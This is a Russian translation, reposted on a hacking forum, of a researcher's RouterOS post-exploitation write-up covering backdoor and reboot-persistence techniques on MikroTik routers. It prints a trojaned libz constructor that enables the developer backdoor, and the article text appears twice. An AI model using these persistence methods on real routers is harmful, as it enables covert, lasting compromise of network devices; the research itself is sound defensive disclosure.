На DEF CON 27 я выпустил эту статью, где я обсуждал эксплуатацию MikroTik RouterOS и я выпустил Cleaner Wrasse, чтобы помочь включить и сохранить доступ к оболочке в RouterOS 3.x через текущий выпуск.
Доклад DEF CON также охватывал прошлые и настоящие методы эксплуатации в RouterOS. Я разбил дискуссию на две части:
Краткое объяснение
Прежде, чем я начну говорить о пост-эксплуатации, вам необходимо лучше понять общую картину RouterOS. Для нашей цели, одна из самых важных вещей, которую нужно понять, это то, что всё в системе является пакетом. На фото вы можете увидеть все пакеты, которые я установил на моем hAP.
Даже стандартные каталоги Linux-y, такие как /bin/ , /lib/ , /etc/, поставляются из пакета.
Пакеты используют формат файла NPK . Кирилл Соловьев сделал эту превосходную графику, которая описывает формат файла. Каждый NPK содержит раздел Squashfs. При запуске файловая система squashfs извлекается и монтируется (или символическая ссылка в зависимости от метода установки) в каталог / pckg / (это не совсем верно, но давайте просто проигнорируем это).
Пакеты содержат файловые системы только для чтения
Squashfs только для чтения. Вы видите, я не могу использовать /pckg/dhcp/lol. Это может привести вас к мысли, что вся система доступна только для чтения, но это не так. Например, /pckg/ фактически является частью пространства tmpfs для чтения и записи в /ram/ .
/pckg/ является символической ссылкой на чтение-запись tmpfs /ram/pckg/
Кроме того, системный каталог /flash/ указывает на постоянное хранилище для чтения и записи. Там хранится много информации о конфигурации. Кроме того, единственное постоянное хранилище, к которому имеют доступ пользователи, /flash/rw/disk/ , находится в этом пространстве.
Хранилище, к которому пользователь имеет доступ, как видно из корневой оболочки и Webfig
Хотя все исполняемые файлы системы, по-видимому, находятся в пространстве "только для чтения", похоже, существует некоторое пространство для чтения и записи, как tmpfs, так и постоянное, которым злоумышленник может манипулировать. Хитрость заключается в том, чтобы выяснить, как использовать это пространство для достижения и поддержания исполнения.
Еще одна важная вещь - это то, что пользователи не имеют доступа к реальной оболочке на RouterOS. Выше я включил снимок экрана, на котором у меня есть корневая оболочка. Однако это только потому, что я использовал роутер и включил бэкдор разработчика. На самом деле это не должно быть возможным, но благодаря магии уязвимостей это так.
Если вы не знакомы с бэкдором разработчиков в RouterOS, вот очень краткое изложение:
Вы можете видеть в следующем видео, что я использую уязвимость set-файла трассировки HackerFantastic для создания специального файла /pckg/option в RouterOS 6.41.4. Наличие этого файла включает бэкдор. После того, как я войду в систему как devel , удалю файл и выйду из системы, я больше не смогу получить доступ к корневой оболочке.
Ты знаешь достаточно, чтобы быть опасным
. Вперед к использованию эксплуатации!
Атаки идут изнутри SNMP!
Бинарный SNMP (/nova/bin/snmp) является частью пакета системы. Однако существуют различные другие пакеты, которые хотят добавить свои собственные функции в snmp . Например, пакет dhcp. На изображении ниже вы можете видеть, что /pckg/dhcp имеет подкаталог /snmp/ .
Функциональность, добавленная в snmp пакетом dhcp
Когда запускается бинарный файл snmp, он перебирает все каталоги в /pckg/ и ищет подкаталог /nova/lib/snmp/ . Любой общий объект в этом подкаталоге передается в dlopen(), а затем вызывается autorun() общего объекта .
Поскольку пакет dhcp монтируется только для чтения, злоумышленник не может изменить загруженный общий объект. Однако, из-за того, что /pckg/ предназначен для чтения-записи, поэтому злоумышленник может представить собственную структуру каталогов (например, /pckg/snmp_xploit/nova/lib/snmp/). Любой общий объект, сохраненный там, будет загружен snmp.
Довольно неплохо, что злоумышленник может спрятаться в процессе, который находится в пространстве только для чтения! Но это еще более полезно в сочетании с уязвимостью, которая может записывать файлы на диск, такие как CVE-2019–3943 или CVE-2018–14847 .
Я написал доказательство концепции, чтобы проиллюстрировать вариант использования с CVE-2019–3943. По сути, злоумышленник, прошедший проверку подлинности, может создать структуру каталогов /pckg/, используя обратный путь в каталогах с уязвимостью.
https://github.com/tenable/routeros/blob/master/poc/cve_2019_3943_snmp_lib/src/main.cpp#L204
Как только каталоги созданы, злоумышленнику необходимо удалить общий объект на диске. К счастью, CVE-2019–3943 может сделать это также. Очевидно, что настоящий злоумышленник может выполнить что-нибудь из своего общего объекта, но для подтверждения концепции я создаю файл бэкдора 6.41+ непосредственно из функции конструктора.
https://github.com/tenable/routeros/blob/master/poc/cve_2019_3943_snmp_lib/shared_obj/snmp_exec.c#L4
PoC даже остановит и перезапустит процесс SNMP, чтобы обеспечить загрузку общего объекта без перезагрузки системы.
Поскольку /pckg/ находится в пространстве tmpfs, структура каталога, создаваемая сценарием, будет удалена при перезагрузке, даже если PoC не удалит ее.
I’m in your /rw/lib, executing as one of your dudes (Я в вашей /rw/lib, исполняю роль одного из ваших парней)
Как и выше, я обнаружил, что могу получить системные двоичные файлы для загрузки библиотек из /flash/rw/lib. Это связано с тем, что /rw/lib/ является первой записью в переменной среды LD_LIBRARY_PATH .
Загружать библиотеки из пространства для чтения и записи? Что может пойти не так.
Самое замечательное в загрузке библиотек из /rw/lib/ заключается в том, что, поскольку это постоянное файловое пространство, общий объект будет сохраняться при перезагрузке. Единственная проблема - выяснить, какую библиотеку мы хотим похитить. Очевидный выбор - libc.so, поскольку она гарантированно загружается ... везде. Но RouterOS использует uClibc, и, честно говоря, я не хотел иметь с этим дело.
К счастью, я наткнулся на это.
Привет, libz!
/nova/bin/fileman загружает libz . fileman - это системный двоичный файл, который обрабатывает чтение и запись из каталога пользователя /rw/disk через Winbox или Webfig. Он выполняется, когда пользователь переходит к интерфейсу «Файлы», но выключается после того, как пользователь ушел, и он остается бездействующим в течение минуты.
Чтобы скомпилировать вредоносную библиотеку , я просто скачал libz 1.2.11 и добавил этот конструктор в deflate.c :
Видите ли, еще раз, я только что решил создать бэкдор файл. Для подтверждения концепции я скомпилировал новый libz.so в MIPS с прямым порядком байтов, чтобы я мог протестировать его на своем маршрутизаторе hAP .
Еще раз, доказательство концепции использует CVE-2019–3943 для создания каталога «lib» и удаления библиотеки на диск.
Однако, в отличие от атаки по протоколу SNMP, /rw/lib/libz.so переживет перезагрузки и фактически загружается довольно рано в последовательности запуска. Это означает, что после каждой перезагрузки файл бэкдора будет создаваться при запуске.
Проверка подписи имеет значение, пока она не
Одной из наиболее интересных вещей, хранящихся в /flash/, являются файлы в /flash/var/pdb/.
«Эй, разве это не имена всех пакетов, которые я установил?»
Оказывается, именно здесь RouterOS хранит все установленные файлы NPK. Как ни странно, как root, они все доступны для записи. По своему опыту могу сказать, что вы не захотите перезаписывать системный пакет.
Ха-ха! Я только что заставил вас наблюдать за перезагрузкой системы снова и снова?
Когда я узнал, что могу сломать всю систему, возиться с системным пакетом, мне стало любопытно. Что если бы я был немного осторожнее? Что если я просто перезапишу файловую систему пакета squashfs? Он будет установлен?
Я написал инструмент под названием modify_npk, чтобы проверить это. Инструмент довольно прост, он принимает действительный NPK MikroTik (например, dude-6.44.5.npk ) и созданный пользователем squashfs. Инструмент удаляет действительный раздел MikroTik squashfs и вставляет вредоносные squashfs пользователя. Теоретически, modify_npk генерирует совершенно хорошо сформированный NPK… только с новыми внутренними squashfs.
Проблема в том, что MikroTik обеспечивает проверку подписи при установке пакетов NPK. Если вы попытаетесь установить пакет modify_npk, то RouterOS пометит его как поврежденный и отклонит. Смотрите wrasse.npk в следующем файле журнала:
Я не сломлен, а ты сломан
Что, очевидно, хорошо! Мы не можем заставить чудаков устанавливать то, что они хотят, в этих системах. Но что, если мы установим его сами из нашей корневой оболочки?
Не плохо себя чувствую. Я не знал, что echo* тоже вещь.
Теоретически, RouterOS всегда должна выполнять проверку подписи на сохраненном NPK перед монтированием своих файловых систем. Поскольку они все читают и пишут, это имеет смысл, верно?
ой
На изображении выше вы можете видеть, что wrasse был успешно установлен в системе, плохая подпись и все! Очевидно, это должно означать, что созданный мной squashfs был установлен.
┬┴┬┴┤ (· _├┬┴┬┴
Конечно, просто монтировать вредоносные squashfs не конец, потому что созданная мной файловая система на самом деле содержит скрипт rc, который создаст файл бэкдора при запуске.
Это очень полезно, так как будет сохраняться при перезагрузке. Хотя пользователи могут поймать эту конкретную атаку с помощью функции «Проверить установку».
MikroTik молча исправили эту ошибку в 6.42.1. Я говорю «молча», потому что не вижу какой-либо конкретной заметки о выпуске или сообщения сообществу, которое указывает на то, что они решили принудительно проверять подпись при каждой перезагрузке.
RC скрипты везде
RouterOS использует сценарии rc для запуска процессов после загрузки и для очистки некоторых процессов во время завершения работы. В ОС есть традиционная файловая структура /etc/rc.d/run.d/, о которой мы поговорим, но также есть (или были) другие места, из которых также выполняются сценарии rc.
/flash/etc/
Как уже упоминалось, RouterOS имеет традиционный каталог /etc/, но поскольку этот каталог предназначен только для чтения, злоумышленники не могут изменять или вводить сценарии. Тем не менее, RouterOS имеет второй /etc/off с постоянным чтением-записью /flash/space. (RouterOS does have a second /etc/ off of the persistent read-write /flash/space. )
На первый взгляд, это не так уж и полезно для сценариев rc. Однако, как указал BigNerd95 в своем репозитории Chimay-Red , вы можете создать подкаталог /rc.d/run.d/ из /flash/etc/, и любой сценарий rc, сохраненный в нем, при запуске будет рассматриваться как обычный сценарий rc и выключение.
В приведенном ниже примере вы можете видеть, что я создаю /flash/etc/rc.d/run.d/ и вывожу сценарий S89lol. После перезагрузки скрипт выполняется и создается бэкдор разработчика.
Это поведение было удалено после 6.40.9. Однако до тех пор это был очень простой и удобный механизм сохранения.
/rw/RESET
RouterOS имеет несколько скриптов , которые находятся в /etc/rc.d/run.d/ , но есть два, о которых я хочу поговорить. Первый - это S08config, потому что до 6.40.5 он содержал следующую логику:
Это означает, что если существует /rw/RESET, то S08config при запуске выполнит его как bash-скрипт. Это очевидный механизм сохранения.
https://forum.mikrotik.com/viewtopic.php?f=21&t=132499#p650956
Каким-то образом этот пользователь форума получил пакет отладки MikroTik и смог проверить некоторые файлы после эксплуатации. Здесь мы видим, что атакующий использует /rw/RESET для выполнения своего двоичного файла /rw/info/. MikroTik изменил поведение S08config .
/rw/DEFCONF
Подобно /rw/RESET, содержимое /rw/DEFCONF может быть выполнено благодаря инструкции eval в S12defconf .
Впервые это было введено в 6.40.1, но в отличие от /rw/RESET это не было исправлено на 6.45.3. Фактически, это метод, который Cleaner Wrasse будет использовать для установления постоянства перезагрузки на маршрутизаторе. Я написал доказательство концепции, используя CVE-2019–3943, чтобы показать, как удаленный злоумышленник, прошедший проверку подлинности, может использовать /rw/DEFCONF для достижения бэкдора.
/pckg/
Как мы видели в части проверки подписи этой записи, каждый пакет из /pckg/ может иметь каталог /etc/rc.d/run.d/,содержащий сценарии rc. /pckg/ является частью tmpfs, поэтому, несмотря на то, что все, что злоумышленник создает в /pckg/, не будет сохраняться при перезагрузке, новые сценарии rc будут выполняться при завершении работы.
Чем это полезно? Одна вещь, которую я не упомянул о /rw/DEFCONF, - это то, что его существование в системе может вызвать проблемы со входом в систему. Cleaner Wrasse позволяет избежать этой проблемы, помещая файл в /rw/.lol и затем создавая скрипт rc в /pckg/ , который создает файл /rw/DEFCONF при завершении работы. Таким образом, Cleaner Wrasse позволяет избежать проблем с входом в систему, но обеспечивает /rw/DEFCONF при следующем запуске системы.
Просто скопируйте /rw/.lol в /rw/DEFCONF при завершении работы. Легкий режим.
The symlink of survival
Многие из доказательств концепций, которые я упоминаю в этом блоге, используют CVE-2019–3943, но он был исправлен в мае 2019 года (6.43.15). Если вы не используете джейлбрейк USB от Kirilis Solojov , больше нет открытых методов, позволяющих включить файл бэкдора и получить root права на устройство. Так как я могу это сделать?
Корневая оболочка на последнем выпуске: 6.45.3 Stable
Ответ прост. Когда я все еще мог использовать маршрутизатор с помощью CVE-2019–3943, я создал скрытую символическую ссылку на root в каталоге пользователя /rw/disk.
Символьная ссылка .survival указывает на /
После обновления вам понадобится только FTP и переход по символической ссылке на root. Оттуда вы можете добиться исполнения одним из многих способов, которые вы хотите. На следующем рисунке я помещаю libz.so в /rw/lib/ , чтобы включить бэкдор.
RouterOS не предлагает обычному пользователю способ создания символической ссылки, поэтому вы можете сделать это только с помощью эксплуатации. Но RouterOS также не пытается удалить символическую ссылку. Пока это так, мы можем продолжать использовать символическую ссылку, чтобы восстанавливать корневую оболочку после обновления.
Ни Winbox, ни Webfig не отображают скрытые файлы. Вероятно, стоит периодически проверять ваш каталог пользователя по FTP, чтобы убедиться, что там ничего не спрятано.
Не изображено: .survival
Так что здесь произошло?
Я поделился кучей способов добиться исполнения и вообще зависать в системе. Поэтому я немного растерялся, когда наткнулся на это:
y u no opsec?
Это изображение из первого публичного отчета CVE-2018–14847. До того, как это стало известно MikroTik. Пользователь зашел на форумы MikroTik и спросил о потенциальной уязвимости Winbox после обнаружения странного логина в своих журналах и подозрительных файлов на устройстве. Изображение выше от bash скрипта они нашли под названием save.sh.
В этом посте я снова показывал, что злоумышленнику не нужно ничего хранить в единственном каталоге, к которому у пользователя есть доступ. Но именно это и сделал этот злоумышленник./flash/rw/pckg/ является символической ссылкой на каталог пользователя /flash/rw/disk/. Как получилось, что кто-то, у кого был нулевой день(zero day), который впоследствии был бы использован против сотен тысяч, если не миллионов, маршрутизаторов, не знали этого простого факта?
К счастью, они сделали эту ошибку. CVE-2018–14847 не только довольно неприятен, но и в результате выпадения заставил MikroTik немного улучшиться.
Это все поправимо?
Конечно! Почти все, о чем я здесь говорил, было исправлено с небольшими изменениями или исправлено, просто отойдя от выполнения всего как root. Глубокая защита важна, но иногда она не является приоритетной. Я не ожидаю каких-либо существенных изменений в будущем, но, надеюсь, MikroTik сможет внести некоторые незначительные улучшения в свои планы развития.
... или, может быть, мы просто подождем выхода RouterOS 7
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/tenable-techblog/routeros-post-exploitation-784c08044790
Доклад DEF CON также охватывал прошлые и настоящие методы эксплуатации в RouterOS. Я разбил дискуссию на две части:
- Места, которые атакующие могут выполнить.
- Как добиться перезагрузки или обновления "persistence".
Краткое объяснение
Прежде, чем я начну говорить о пост-эксплуатации, вам необходимо лучше понять общую картину RouterOS. Для нашей цели, одна из самых важных вещей, которую нужно понять, это то, что всё в системе является пакетом. На фото вы можете увидеть все пакеты, которые я установил на моем hAP.
Даже стандартные каталоги Linux-y, такие как /bin/ , /lib/ , /etc/, поставляются из пакета.
Пакеты используют формат файла NPK . Кирилл Соловьев сделал эту превосходную графику, которая описывает формат файла. Каждый NPK содержит раздел Squashfs. При запуске файловая система squashfs извлекается и монтируется (или символическая ссылка в зависимости от метода установки) в каталог / pckg / (это не совсем верно, но давайте просто проигнорируем это).
Пакеты содержат файловые системы только для чтения
Squashfs только для чтения. Вы видите, я не могу использовать /pckg/dhcp/lol. Это может привести вас к мысли, что вся система доступна только для чтения, но это не так. Например, /pckg/ фактически является частью пространства tmpfs для чтения и записи в /ram/ .
/pckg/ является символической ссылкой на чтение-запись tmpfs /ram/pckg/
Кроме того, системный каталог /flash/ указывает на постоянное хранилище для чтения и записи. Там хранится много информации о конфигурации. Кроме того, единственное постоянное хранилище, к которому имеют доступ пользователи, /flash/rw/disk/ , находится в этом пространстве.
Хранилище, к которому пользователь имеет доступ, как видно из корневой оболочки и Webfig
Хотя все исполняемые файлы системы, по-видимому, находятся в пространстве "только для чтения", похоже, существует некоторое пространство для чтения и записи, как tmpfs, так и постоянное, которым злоумышленник может манипулировать. Хитрость заключается в том, чтобы выяснить, как использовать это пространство для достижения и поддержания исполнения.
Еще одна важная вещь - это то, что пользователи не имеют доступа к реальной оболочке на RouterOS. Выше я включил снимок экрана, на котором у меня есть корневая оболочка. Однако это только потому, что я использовал роутер и включил бэкдор разработчика. На самом деле это не должно быть возможным, но благодаря магии уязвимостей это так.
Если вы не знакомы с бэкдором разработчиков в RouterOS, вот очень краткое изложение:
Вы можете видеть в следующем видео, что я использую уязвимость set-файла трассировки HackerFantastic для создания специального файла /pckg/option в RouterOS 6.41.4. Наличие этого файла включает бэкдор. После того, как я войду в систему как devel , удалю файл и выйду из системы, я больше не смогу получить доступ к корневой оболочке.
Ты знаешь достаточно, чтобы быть опасным
. Вперед к использованию эксплуатации!Атаки идут изнутри SNMP!
Бинарный SNMP (/nova/bin/snmp) является частью пакета системы. Однако существуют различные другие пакеты, которые хотят добавить свои собственные функции в snmp . Например, пакет dhcp. На изображении ниже вы можете видеть, что /pckg/dhcp имеет подкаталог /snmp/ .
Функциональность, добавленная в snmp пакетом dhcp
Когда запускается бинарный файл snmp, он перебирает все каталоги в /pckg/ и ищет подкаталог /nova/lib/snmp/ . Любой общий объект в этом подкаталоге передается в dlopen(), а затем вызывается autorun() общего объекта .
Поскольку пакет dhcp монтируется только для чтения, злоумышленник не может изменить загруженный общий объект. Однако, из-за того, что /pckg/ предназначен для чтения-записи, поэтому злоумышленник может представить собственную структуру каталогов (например, /pckg/snmp_xploit/nova/lib/snmp/). Любой общий объект, сохраненный там, будет загружен snmp.
Довольно неплохо, что злоумышленник может спрятаться в процессе, который находится в пространстве только для чтения! Но это еще более полезно в сочетании с уязвимостью, которая может записывать файлы на диск, такие как CVE-2019–3943 или CVE-2018–14847 .
Я написал доказательство концепции, чтобы проиллюстрировать вариант использования с CVE-2019–3943. По сути, злоумышленник, прошедший проверку подлинности, может создать структуру каталогов /pckg/, используя обратный путь в каталогах с уязвимостью.
https://github.com/tenable/routeros/blob/master/poc/cve_2019_3943_snmp_lib/src/main.cpp#L204
Как только каталоги созданы, злоумышленнику необходимо удалить общий объект на диске. К счастью, CVE-2019–3943 может сделать это также. Очевидно, что настоящий злоумышленник может выполнить что-нибудь из своего общего объекта, но для подтверждения концепции я создаю файл бэкдора 6.41+ непосредственно из функции конструктора.
https://github.com/tenable/routeros/blob/master/poc/cve_2019_3943_snmp_lib/shared_obj/snmp_exec.c#L4
PoC даже остановит и перезапустит процесс SNMP, чтобы обеспечить загрузку общего объекта без перезагрузки системы.
Поскольку /pckg/ находится в пространстве tmpfs, структура каталога, создаваемая сценарием, будет удалена при перезагрузке, даже если PoC не удалит ее.
I’m in your /rw/lib, executing as one of your dudes (Я в вашей /rw/lib, исполняю роль одного из ваших парней)
Как и выше, я обнаружил, что могу получить системные двоичные файлы для загрузки библиотек из /flash/rw/lib. Это связано с тем, что /rw/lib/ является первой записью в переменной среды LD_LIBRARY_PATH .
Загружать библиотеки из пространства для чтения и записи? Что может пойти не так.
Самое замечательное в загрузке библиотек из /rw/lib/ заключается в том, что, поскольку это постоянное файловое пространство, общий объект будет сохраняться при перезагрузке. Единственная проблема - выяснить, какую библиотеку мы хотим похитить. Очевидный выбор - libc.so, поскольку она гарантированно загружается ... везде. Но RouterOS использует uClibc, и, честно говоря, я не хотел иметь с этим дело.
К счастью, я наткнулся на это.
Привет, libz!
/nova/bin/fileman загружает libz . fileman - это системный двоичный файл, который обрабатывает чтение и запись из каталога пользователя /rw/disk через Winbox или Webfig. Он выполняется, когда пользователь переходит к интерфейсу «Файлы», но выключается после того, как пользователь ушел, и он остается бездействующим в течение минуты.
Чтобы скомпилировать вредоносную библиотеку , я просто скачал libz 1.2.11 и добавил этот конструктор в deflate.c :
Код:
void __attribute__((constructor)) lol(void)
{
int fork_result = fork();
if (fork_result == 0)
{
execl("/bin/bash", "bash", "-c",
"mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
(char *) 0);
exit(0);
}
}Видите ли, еще раз, я только что решил создать бэкдор файл. Для подтверждения концепции я скомпилировал новый libz.so в MIPS с прямым порядком байтов, чтобы я мог протестировать его на своем маршрутизаторе hAP .
Еще раз, доказательство концепции использует CVE-2019–3943 для создания каталога «lib» и удаления библиотеки на диск.
Однако, в отличие от атаки по протоколу SNMP, /rw/lib/libz.so переживет перезагрузки и фактически загружается довольно рано в последовательности запуска. Это означает, что после каждой перезагрузки файл бэкдора будет создаваться при запуске.
Проверка подписи имеет значение, пока она не
Одной из наиболее интересных вещей, хранящихся в /flash/, являются файлы в /flash/var/pdb/.
«Эй, разве это не имена всех пакетов, которые я установил?»
Оказывается, именно здесь RouterOS хранит все установленные файлы NPK. Как ни странно, как root, они все доступны для записи. По своему опыту могу сказать, что вы не захотите перезаписывать системный пакет.
Когда я узнал, что могу сломать всю систему, возиться с системным пакетом, мне стало любопытно. Что если бы я был немного осторожнее? Что если я просто перезапишу файловую систему пакета squashfs? Он будет установлен?
Я написал инструмент под названием modify_npk, чтобы проверить это. Инструмент довольно прост, он принимает действительный NPK MikroTik (например, dude-6.44.5.npk ) и созданный пользователем squashfs. Инструмент удаляет действительный раздел MikroTik squashfs и вставляет вредоносные squashfs пользователя. Теоретически, modify_npk генерирует совершенно хорошо сформированный NPK… только с новыми внутренними squashfs.
Проблема в том, что MikroTik обеспечивает проверку подписи при установке пакетов NPK. Если вы попытаетесь установить пакет modify_npk, то RouterOS пометит его как поврежденный и отклонит. Смотрите wrasse.npk в следующем файле журнала:
Я не сломлен, а ты сломан
Что, очевидно, хорошо! Мы не можем заставить чудаков устанавливать то, что они хотят, в этих системах. Но что, если мы установим его сами из нашей корневой оболочки?
Не плохо себя чувствую. Я не знал, что echo* тоже вещь.
Теоретически, RouterOS всегда должна выполнять проверку подписи на сохраненном NPK перед монтированием своих файловых систем. Поскольку они все читают и пишут, это имеет смысл, верно?
ой
На изображении выше вы можете видеть, что wrasse был успешно установлен в системе, плохая подпись и все! Очевидно, это должно означать, что созданный мной squashfs был установлен.
┬┴┬┴┤ (· _├┬┴┬┴
Конечно, просто монтировать вредоносные squashfs не конец, потому что созданная мной файловая система на самом деле содержит скрипт rc, который создаст файл бэкдора при запуске.
Это очень полезно, так как будет сохраняться при перезагрузке. Хотя пользователи могут поймать эту конкретную атаку с помощью функции «Проверить установку».
MikroTik молча исправили эту ошибку в 6.42.1. Я говорю «молча», потому что не вижу какой-либо конкретной заметки о выпуске или сообщения сообществу, которое указывает на то, что они решили принудительно проверять подпись при каждой перезагрузке.
RC скрипты везде
RouterOS использует сценарии rc для запуска процессов после загрузки и для очистки некоторых процессов во время завершения работы. В ОС есть традиционная файловая структура /etc/rc.d/run.d/, о которой мы поговорим, но также есть (или были) другие места, из которых также выполняются сценарии rc.
/flash/etc/
Как уже упоминалось, RouterOS имеет традиционный каталог /etc/, но поскольку этот каталог предназначен только для чтения, злоумышленники не могут изменять или вводить сценарии. Тем не менее, RouterOS имеет второй /etc/off с постоянным чтением-записью /flash/space. (RouterOS does have a second /etc/ off of the persistent read-write /flash/space. )
На первый взгляд, это не так уж и полезно для сценариев rc. Однако, как указал BigNerd95 в своем репозитории Chimay-Red , вы можете создать подкаталог /rc.d/run.d/ из /flash/etc/, и любой сценарий rc, сохраненный в нем, при запуске будет рассматриваться как обычный сценарий rc и выключение.
В приведенном ниже примере вы можете видеть, что я создаю /flash/etc/rc.d/run.d/ и вывожу сценарий S89lol. После перезагрузки скрипт выполняется и создается бэкдор разработчика.
Это поведение было удалено после 6.40.9. Однако до тех пор это был очень простой и удобный механизм сохранения.
/rw/RESET
RouterOS имеет несколько скриптов , которые находятся в /etc/rc.d/run.d/ , но есть два, о которых я хочу поговорить. Первый - это S08config, потому что до 6.40.5 он содержал следующую логику:
Код:
elif [ -f /rw/RESET ]; then
/bin/bash /rw/RESET
rm -rf /rw/RESETЭто означает, что если существует /rw/RESET, то S08config при запуске выполнит его как bash-скрипт. Это очевидный механизм сохранения.
https://forum.mikrotik.com/viewtopic.php?f=21&t=132499#p650956
Каким-то образом этот пользователь форума получил пакет отладки MikroTik и смог проверить некоторые файлы после эксплуатации. Здесь мы видим, что атакующий использует /rw/RESET для выполнения своего двоичного файла /rw/info/. MikroTik изменил поведение S08config .
/rw/DEFCONF
Подобно /rw/RESET, содержимое /rw/DEFCONF может быть выполнено благодаря инструкции eval в S12defconf .
Код:
defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
/nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh "$defcf";
cp "$defcf" $confirm; rm /rw/DEFCONF /ram/defconf-params) &Впервые это было введено в 6.40.1, но в отличие от /rw/RESET это не было исправлено на 6.45.3. Фактически, это метод, который Cleaner Wrasse будет использовать для установления постоянства перезагрузки на маршрутизаторе. Я написал доказательство концепции, используя CVE-2019–3943, чтобы показать, как удаленный злоумышленник, прошедший проверку подлинности, может использовать /rw/DEFCONF для достижения бэкдора.
/pckg/
Как мы видели в части проверки подписи этой записи, каждый пакет из /pckg/ может иметь каталог /etc/rc.d/run.d/,содержащий сценарии rc. /pckg/ является частью tmpfs, поэтому, несмотря на то, что все, что злоумышленник создает в /pckg/, не будет сохраняться при перезагрузке, новые сценарии rc будут выполняться при завершении работы.
Чем это полезно? Одна вещь, которую я не упомянул о /rw/DEFCONF, - это то, что его существование в системе может вызвать проблемы со входом в систему. Cleaner Wrasse позволяет избежать этой проблемы, помещая файл в /rw/.lol и затем создавая скрипт rc в /pckg/ , который создает файл /rw/DEFCONF при завершении работы. Таким образом, Cleaner Wrasse позволяет избежать проблем с входом в систему, но обеспечивает /rw/DEFCONF при следующем запуске системы.
Просто скопируйте /rw/.lol в /rw/DEFCONF при завершении работы. Легкий режим.
The symlink of survival
Многие из доказательств концепций, которые я упоминаю в этом блоге, используют CVE-2019–3943, но он был исправлен в мае 2019 года (6.43.15). Если вы не используете джейлбрейк USB от Kirilis Solojov , больше нет открытых методов, позволяющих включить файл бэкдора и получить root права на устройство. Так как я могу это сделать?
Корневая оболочка на последнем выпуске: 6.45.3 Stable
Ответ прост. Когда я все еще мог использовать маршрутизатор с помощью CVE-2019–3943, я создал скрытую символическую ссылку на root в каталоге пользователя /rw/disk.
Символьная ссылка .survival указывает на /
После обновления вам понадобится только FTP и переход по символической ссылке на root. Оттуда вы можете добиться исполнения одним из многих способов, которые вы хотите. На следующем рисунке я помещаю libz.so в /rw/lib/ , чтобы включить бэкдор.
RouterOS не предлагает обычному пользователю способ создания символической ссылки, поэтому вы можете сделать это только с помощью эксплуатации. Но RouterOS также не пытается удалить символическую ссылку. Пока это так, мы можем продолжать использовать символическую ссылку, чтобы восстанавливать корневую оболочку после обновления.
Ни Winbox, ни Webfig не отображают скрытые файлы. Вероятно, стоит периодически проверять ваш каталог пользователя по FTP, чтобы убедиться, что там ничего не спрятано.
Не изображено: .survival
Так что здесь произошло?
Я поделился кучей способов добиться исполнения и вообще зависать в системе. Поэтому я немного растерялся, когда наткнулся на это:
y u no opsec?
Это изображение из первого публичного отчета CVE-2018–14847. До того, как это стало известно MikroTik. Пользователь зашел на форумы MikroTik и спросил о потенциальной уязвимости Winbox после обнаружения странного логина в своих журналах и подозрительных файлов на устройстве. Изображение выше от bash скрипта они нашли под названием save.sh.
В этом посте я снова показывал, что злоумышленнику не нужно ничего хранить в единственном каталоге, к которому у пользователя есть доступ. Но именно это и сделал этот злоумышленник./flash/rw/pckg/ является символической ссылкой на каталог пользователя /flash/rw/disk/. Как получилось, что кто-то, у кого был нулевой день(zero day), который впоследствии был бы использован против сотен тысяч, если не миллионов, маршрутизаторов, не знали этого простого факта?
К счастью, они сделали эту ошибку. CVE-2018–14847 не только довольно неприятен, но и в результате выпадения заставил MikroTik немного улучшиться.
Это все поправимо?
Конечно! Почти все, о чем я здесь говорил, было исправлено с небольшими изменениями или исправлено, просто отойдя от выполнения всего как root. Глубокая защита важна, но иногда она не является приоритетной. Я не ожидаю каких-либо существенных изменений в будущем, но, надеюсь, MikroTik сможет внести некоторые незначительные улучшения в свои планы развития.
... или, может быть, мы просто подождем выхода RouterOS 7
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://medium.com/tenable-techblog/routeros-post-exploitation-784c08044790
